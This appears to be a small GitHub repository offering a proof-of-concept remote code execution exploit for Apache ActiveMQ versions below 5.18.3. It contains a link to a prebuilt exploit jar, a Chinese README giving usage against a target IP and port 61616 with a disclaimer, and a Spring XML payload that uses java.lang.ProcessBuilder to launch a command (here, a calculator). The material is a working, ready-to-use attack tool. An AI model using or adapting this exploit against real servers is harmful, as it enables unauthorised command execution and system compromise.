├── activemq_poc.jar
├── README.md
└── poc.xml


/activemq_poc.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/unam4/activemq_Throwable/HEAD/activemq_poc.jar


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # activemq_poc
 2 | Apache ActiveMQ (版本 < 5.18.3) RCE
 3 | 
 4 | 使用jdk11
 5 | ![image](https://github.com/Fw-fW-fw/activemq_Throwable/assets/66824584/0685c53d-59b6-458e-ad0a-d2f5b5cc46d0)
 6 | 
 7 | 
 8 | Usage: java activemq_poc.jar <ip> <port> <urlfile_xmlpoc>
 9 | 
10 | eg: java -jar activemq_poc.jar 127.0.0.1 61616 http://127.0.0.1:8000/poc.xml
11 | 
12 | 免责声明： 本工具仅供安全研究使用，请勿利用从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
13 | 


--------------------------------------------------------------------------------
/poc.xml:
--------------------------------------------------------------------------------
 1 | <beans xmlns="http://www.springframework.org/schema/beans"
 2 |     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 3 |         xsi:schemaLocation="
 4 |         http://www.springframework.org/schema/beans
 5 |         http://www.springframework.org/schema/beans/spring-beans.xsd">  
 6 |   
 7 |     <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 8 |         <constructor-arg >
 9 |             <list>
10 |                 <value>open</value>
11 | 		<value>-a</value>
12 | 		<value>calculator</value>
13 |                 
14 |             </list>
15 |         </constructor-arg>
16 |     </bean>
17 | </beans>
18 | 


--------------------------------------------------------------------------------